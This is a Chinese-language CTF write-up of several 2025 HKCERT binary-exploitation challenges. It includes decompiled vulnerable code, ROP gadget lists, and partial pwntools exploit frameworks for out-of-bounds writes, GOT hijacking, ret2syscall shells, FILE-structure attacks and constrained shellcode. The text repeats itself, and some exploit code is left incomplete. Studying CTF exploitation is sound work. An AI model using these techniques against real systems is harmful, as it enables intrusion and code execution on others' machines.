2025HKCERT WP
字数 1300
更新时间 2025-12-30 12:34:52

2025HKCERT WP 详细题解与PWN技术教学

第一题:strange_rop

题目分析

程序结构分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(*(__int64 *)&argc, (__int64)argv, (__int64)envp);
  if ((unsigned int)game() == 1)
    win();
  return 0;
}

int win()
{
  puts("good!");
  return system("ababalabalabalawuwuwuuwyyyyy");
}

漏洞定位

game()函数中存在数组越界写漏洞:

__int64 game()
{
  // 变量声明
  _QWORD v6[12]; // [rsp+10h] [rbp-60h] BYREF
  v6[11] = __readfsqword(0x28u); // Canary保护
  
  // 生成10道数学题
  for (n9 = 0; n9 <= 9; ++n9) {
    v4 = rand() % 20;
    v5 = rand() % 20;
    answer[id++] = (int)(v4 + v5);
  }
  
  // 漏洞点:负数索引越界写
  while (t <= 10) {
    printf("Question Number:");
    __isoc99_scanf("%d", &id);
    if (id > 9) { // 只检查了上界,未检查下界
      exit(114514);
    }
    printf("Result:");
    __isoc99_scanf("%lld", &v6[id]); // 可输入负数索引实现越界写
    ++t;
  }
}

保护机制检查

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled

利用思路

1. 可用gadget分析

0x00000000004012f0 : pop r15 ; ret
0x000000000040123d : pop rbp ; ret
0x00000000004012f1 : pop rdi ; ret
0x000000000040101a : ret
0x00000000004012ed : mov rbp, rsp ; pop r15 ; ret
0x00000000004012ec : push rbp ; mov rbp, rsp ; pop r15 ; ret

2. 关键地址

  • /bin/sh字符串地址:0x404078
  • system函数可通过PLT调用

3. 利用链构建

通过负数索引覆盖返回地址,构造ROP链调用system("/bin/sh")

最终exp

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# 本地调试或远程连接
def exp():
    if args.REMOTE:
        p = remote('ip', port)
    else:
        p = process('./pwn')
    
    # 利用负数索引覆盖返回地址
    # 具体偏移需要通过调试确定
    # 构造ROP链:pop rdi; "/bin/sh"; system
    payload = b''
    
    # 交互过程
    p.interactive()

if __name__ == '__main__':
    exp()

第二题:nofile

题目特性

  • 开启PIE保护
  • 格式化字符串漏洞不可用
  • 存在后门函数直接给shell

利用思路

  1. 信息泄露:通过特定输入泄露程序基址
  2. GOT表劫持:将printf或read的GOT表项修改为后门函数地址
  3. 触发执行:通过正常流程触发被修改的函数调用

EXP关键步骤

# 泄露PIE基址
leak_payload = b'%p' * n  # 通过特定格式泄露地址

# 计算后门函数实际地址
backdoor_addr = base + backdoor_offset

# 修改GOT表(以read为例)
# 需要确定GOT表项偏移和写入方式

第四题:stop

保护机制分析

  • 禁用system函数
  • 需要ret2syscall或ret2hellor技术

利用技术

ret2syscall

在libc 2.39中寻找合适的gadget:

0x00000000000b503c : pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret

攻击步骤

  1. 泄露libc基址
  2. 构造syscall链(execve或orw)
  3. 迁移到bss段执行

EXP框架

def ret2syscall_exp():
    # 泄露libc
    leak_payload = cyclic(offset) + p64(pop_rdi) + p64(got_puts) + p64(plt_puts)
    
    # 接收泄露地址,计算基址
    libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
    
    # 构造syscall链
    rop = ROP(libc)
    rop.execve(next(libc.search(b'/bin/sh')), 0, 0)
    
    # 发送payload
    p.sendlineafter(b'input:', payload)

第五题:filesystem

漏洞分析

  • 输入quit进入cat线程
  • 存在字符串检查绕过漏洞
  • 本地与远程过滤规则不同(远程额外过滤?*

利用方法

通过特定输入绕过检查直接获取flag

第七题:compress

程序分析

  • 非堆漏洞,整数溢出漏洞
  • 一次show机会,一次read机会
  • 可负数索引实现越界读写

漏洞利用

1. 整数溢出

输入-256绕过长度检查,实现无限写入

2. FILE结构体攻击

  • 劫持IO结构体控制流
  • 通过puts函数触发FILE操作
  • 构造伪造的FILE结构体

3. 沙盒绕过

  • 分析沙盒限制
  • 构造合适的ROP链

攻击流程

def compress_exp():
    # 触发整数溢出
    p.sendlineafter(b'size:', b'-256')
    
    # 泄露地址
    p.recvuntil(b'content:')
    leak = u64(p.recv(6).ljust(8, b'\x00'))
    libc_base = leak - libc_offset
    
    # 构造FILE攻击payload
    fake_file = build_fake_file(libc_base)
    
    # 触发漏洞
    p.sendlineafter(b'data:', fake_file)

第八题:linkstart

游戏机制分析

  • 英雄与怪物对战游戏
  • 通过修改攻击力数值实现越界写
  • 结构体操作漏洞

漏洞利用

1. 结构体分析

struct Hero {
    int hp;
    int level;
    int attack_power;
    // ... 其他字段
};

2. 越界写利用

通过技能选择机制的索引漏洞,修改隐藏的攻击力数值

3. 地址计算

  • 确定目标地址偏移
  • 构造合适的数值覆盖

EXP关键

def linkstart_exp():
    # 选择漏洞技能
    p.sendlineafter(b'choice:', b'3')
    p.sendlineafter(b'choice:', b'2')  # 回血触发漏洞
    
    # 计算目标地址
    target_addr = elf_base + 0x402068
    
    # 通过特定输入修改攻击力
    payload = p64(large_value)  # 大整数避免负数判断
    p.sendlineafter(b'input:', payload)

第九题:childcode

题目特性

  • Shellcode限制:每个字节必须是5的倍数
  • 真随机数生成
  • RSP寄存器被清空

可用指令分析

单字节指令(5的倍数)

0x05: add eax, imm32
0x2D: sub eax, imm32  
0x55: push rbp
0x5A: pop rdx
0x5F: pop rdi
0x91: xchg ecx, eax
0x96: xchg esi, eax
0xB9: mov ecx, imm32
0xBE: mov esi, imm32
0xC3: ret

双字节指令

0x0F 05: syscall
0x0F BE: movsx 符号扩展

Shellcode构造策略

1. 寄存器控制

  • 通过xchg指令交换寄存器值
  • 利用mov指令设置立即数
  • 通过算术指令调整数值

2. 系统调用构造

; 示例shellcode框架
push rbp        ; 0x55
pop rdi         ; 0x5F  
mov esi, imm32  ; 0xBE [imm32]
xchg eax, esi   ; 0x96
sub eax, imm32  ; 0x2D [imm32]
syscall         ; 0x0F 05

3. 绕过验证

  • 每个字节需要满足:(byte * 205) % 256 <= 51
  • 精心选择指令编码满足验证条件

教学要点总结

  1. 漏洞识别:负数索引、整数溢出、结构体操作等
  2. 保护绕过:Canary、NX、PIE、RELRO等
  3. 利用技术:ROP、FSOP、Shellcode限制绕过
  4. 调试技巧:动态分析确定偏移和地址
  5. EXP编写:稳定性考虑,异常处理

这份文档涵盖了2025HKCERT WP的主要技术要点,适合作为PWN入门的进阶学习材料。

2025HKCERT WP 详细题解与PWN技术教学

第一题:strange_rop

题目分析

程序结构分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(*(__int64 *)&argc, (__int64)argv, (__int64)envp);
  if ((unsigned int)game() == 1)
    win();
  return 0;
}

int win()
{
  puts("good!");
  return system("ababalabalabalawuwuwuuwyyyyy");
}

漏洞定位

game()函数中存在数组越界写漏洞:

__int64 game()
{
  // 变量声明
  _QWORD v6[12]; // [rsp+10h] [rbp-60h] BYREF
  v6[11] = __readfsqword(0x28u); // Canary保护
  
  // 生成10道数学题
  for (n9 = 0; n9 <= 9; ++n9) {
    v4 = rand() % 20;
    v5 = rand() % 20;
    answer[id++] = (int)(v4 + v5);
  }
  
  // 漏洞点:负数索引越界写
  while (t <= 10) {
    printf("Question Number:");
    __isoc99_scanf("%d", &id);
    if (id > 9) { // 只检查了上界,未检查下界
      exit(114514);
    }
    printf("Result:");
    __isoc99_scanf("%lld", &v6[id]); // 可输入负数索引实现越界写
    ++t;
  }
}

保护机制检查

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled

利用思路

1. 可用gadget分析

0x00000000004012f0 : pop r15 ; ret
0x000000000040123d : pop rbp ; ret
0x00000000004012f1 : pop rdi ; ret
0x000000000040101a : ret
0x00000000004012ed : mov rbp, rsp ; pop r15 ; ret
0x00000000004012ec : push rbp ; mov rbp, rsp ; pop r15 ; ret

2. 关键地址

  • /bin/sh字符串地址:0x404078
  • system函数可通过PLT调用

3. 利用链构建

通过负数索引覆盖返回地址,构造ROP链调用system("/bin/sh")

最终exp

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# 本地调试或远程连接
def exp():
    if args.REMOTE:
        p = remote('ip', port)
    else:
        p = process('./pwn')
    
    # 利用负数索引覆盖返回地址
    # 具体偏移需要通过调试确定
    # 构造ROP链:pop rdi; "/bin/sh"; system
    payload = b''
    
    # 交互过程
    p.interactive()

if __name__ == '__main__':
    exp()

第二题:nofile

题目特性

  • 开启PIE保护
  • 格式化字符串漏洞不可用
  • 存在后门函数直接给shell

利用思路

  1. 信息泄露:通过特定输入泄露程序基址
  2. GOT表劫持:将printf或read的GOT表项修改为后门函数地址
  3. 触发执行:通过正常流程触发被修改的函数调用

EXP关键步骤

# 泄露PIE基址
leak_payload = b'%p' * n  # 通过特定格式泄露地址

# 计算后门函数实际地址
backdoor_addr = base + backdoor_offset

# 修改GOT表(以read为例)
# 需要确定GOT表项偏移和写入方式

第四题:stop

保护机制分析

  • 禁用system函数
  • 需要ret2syscall或ret2hellor技术

利用技术

ret2syscall

在libc 2.39中寻找合适的gadget:

0x00000000000b503c : pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret

攻击步骤

  1. 泄露libc基址
  2. 构造syscall链(execve或orw)
  3. 迁移到bss段执行

EXP框架

def ret2syscall_exp():
    # 泄露libc
    leak_payload = cyclic(offset) + p64(pop_rdi) + p64(got_puts) + p64(plt_puts)
    
    # 接收泄露地址,计算基址
    libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
    
    # 构造syscall链
    rop = ROP(libc)
    rop.execve(next(libc.search(b'/bin/sh')), 0, 0)
    
    # 发送payload
    p.sendlineafter(b'input:', payload)

第五题:filesystem

漏洞分析

  • 输入quit进入cat线程
  • 存在字符串检查绕过漏洞
  • 本地与远程过滤规则不同(远程额外过滤?*

利用方法

通过特定输入绕过检查直接获取flag

第七题:compress

程序分析

  • 非堆漏洞,整数溢出漏洞
  • 一次show机会,一次read机会
  • 可负数索引实现越界读写

漏洞利用

1. 整数溢出

输入-256绕过长度检查,实现无限写入

2. FILE结构体攻击

  • 劫持IO结构体控制流
  • 通过puts函数触发FILE操作
  • 构造伪造的FILE结构体

3. 沙盒绕过

  • 分析沙盒限制
  • 构造合适的ROP链

攻击流程

def compress_exp():
    # 触发整数溢出
    p.sendlineafter(b'size:', b'-256')
    
    # 泄露地址
    p.recvuntil(b'content:')
    leak = u64(p.recv(6).ljust(8, b'\x00'))
    libc_base = leak - libc_offset
    
    # 构造FILE攻击payload
    fake_file = build_fake_file(libc_base)
    
    # 触发漏洞
    p.sendlineafter(b'data:', fake_file)

第八题:linkstart

游戏机制分析

  • 英雄与怪物对战游戏
  • 通过修改攻击力数值实现越界写
  • 结构体操作漏洞

漏洞利用

1. 结构体分析

struct Hero {
    int hp;
    int level;
    int attack_power;
    // ... 其他字段
};

2. 越界写利用

通过技能选择机制的索引漏洞,修改隐藏的攻击力数值

3. 地址计算

  • 确定目标地址偏移
  • 构造合适的数值覆盖

EXP关键

def linkstart_exp():
    # 选择漏洞技能
    p.sendlineafter(b'choice:', b'3')
    p.sendlineafter(b'choice:', b'2')  # 回血触发漏洞
    
    # 计算目标地址
    target_addr = elf_base + 0x402068
    
    # 通过特定输入修改攻击力
    payload = p64(large_value)  # 大整数避免负数判断
    p.sendlineafter(b'input:', payload)

第九题:childcode

题目特性

  • Shellcode限制:每个字节必须是5的倍数
  • 真随机数生成
  • RSP寄存器被清空

可用指令分析

单字节指令(5的倍数)

0x05: add eax, imm32
0x2D: sub eax, imm32  
0x55: push rbp
0x5A: pop rdx
0x5F: pop rdi
0x91: xchg ecx, eax
0x96: xchg esi, eax
0xB9: mov ecx, imm32
0xBE: mov esi, imm32
0xC3: ret

双字节指令

0x0F 05: syscall
0x0F BE: movsx 符号扩展

Shellcode构造策略

1. 寄存器控制

  • 通过xchg指令交换寄存器值
  • 利用mov指令设置立即数
  • 通过算术指令调整数值

2. 系统调用构造

; 示例shellcode框架
push rbp        ; 0x55
pop rdi         ; 0x5F  
mov esi, imm32  ; 0xBE [imm32]
xchg eax, esi   ; 0x96
sub eax, imm32  ; 0x2D [imm32]
syscall         ; 0x0F 05

3. 绕过验证

  • 每个字节需要满足:(byte * 205) % 256 <= 51
  • 精心选择指令编码满足验证条件

教学要点总结

  1. 漏洞识别:负数索引、整数溢出、结构体操作等
  2. 保护绕过:Canary、NX、PIE、RELRO等
  3. 利用技术:ROP、FSOP、Shellcode限制绕过
  4. 调试技巧:动态分析确定偏移和地址
  5. EXP编写:稳定性考虑,异常处理

这份文档涵盖了2025HKCERT WP的主要技术要点,适合作为PWN入门的进阶学习材料。

2025HKCERT WP 详细题解与PWN技术教学 第一题:strange_ rop 题目分析 程序结构分析 漏洞定位 在 game() 函数中存在数组越界写漏洞: 保护机制检查 利用思路 1. 可用gadget分析 2. 关键地址 /bin/sh 字符串地址: 0x404078 system函数可通过PLT调用 3. 利用链构建 通过负数索引覆盖返回地址,构造ROP链调用system("/bin/sh") 最终exp 第二题:nofile 题目特性 开启PIE保护 格式化字符串漏洞不可用 存在后门函数直接给shell 利用思路 信息泄露 :通过特定输入泄露程序基址 GOT表劫持 :将printf或read的GOT表项修改为后门函数地址 触发执行 :通过正常流程触发被修改的函数调用 EXP关键步骤 第四题:stop 保护机制分析 禁用system函数 需要ret2syscall或ret2hellor技术 利用技术 ret2syscall 在libc 2.39中寻找合适的gadget: 攻击步骤 泄露libc基址 构造syscall链(execve或orw) 迁移到bss段执行 EXP框架 第五题:filesystem 漏洞分析 输入 quit 进入cat线程 存在字符串检查绕过漏洞 本地与远程过滤规则不同(远程额外过滤 ? 和 * ) 利用方法 通过特定输入绕过检查直接获取flag 第七题:compress 程序分析 非堆漏洞,整数溢出漏洞 一次show机会,一次read机会 可负数索引实现越界读写 漏洞利用 1. 整数溢出 输入 -256 绕过长度检查,实现无限写入 2. FILE结构体攻击 劫持IO结构体控制流 通过puts函数触发FILE操作 构造伪造的FILE结构体 3. 沙盒绕过 分析沙盒限制 构造合适的ROP链 攻击流程 第八题:linkstart 游戏机制分析 英雄与怪物对战游戏 通过修改攻击力数值实现越界写 结构体操作漏洞 漏洞利用 1. 结构体分析 2. 越界写利用 通过技能选择机制的索引漏洞,修改隐藏的攻击力数值 3. 地址计算 确定目标地址偏移 构造合适的数值覆盖 EXP关键 第九题:childcode 题目特性 Shellcode限制:每个字节必须是5的倍数 真随机数生成 RSP寄存器被清空 可用指令分析 单字节指令(5的倍数) 双字节指令 Shellcode构造策略 1. 寄存器控制 通过xchg指令交换寄存器值 利用mov指令设置立即数 通过算术指令调整数值 2. 系统调用构造 3. 绕过验证 每个字节需要满足:(byte * 205) % 256 <= 51 精心选择指令编码满足验证条件 教学要点总结 漏洞识别 :负数索引、整数溢出、结构体操作等 保护绕过 :Canary、NX、PIE、RELRO等 利用技术 :ROP、FSOP、Shellcode限制绕过 调试技巧 :动态分析确定偏移和地址 EXP编写 :稳定性考虑,异常处理 这份文档涵盖了2025HKCERT WP的主要技术要点,适合作为PWN入门的进阶学习材料。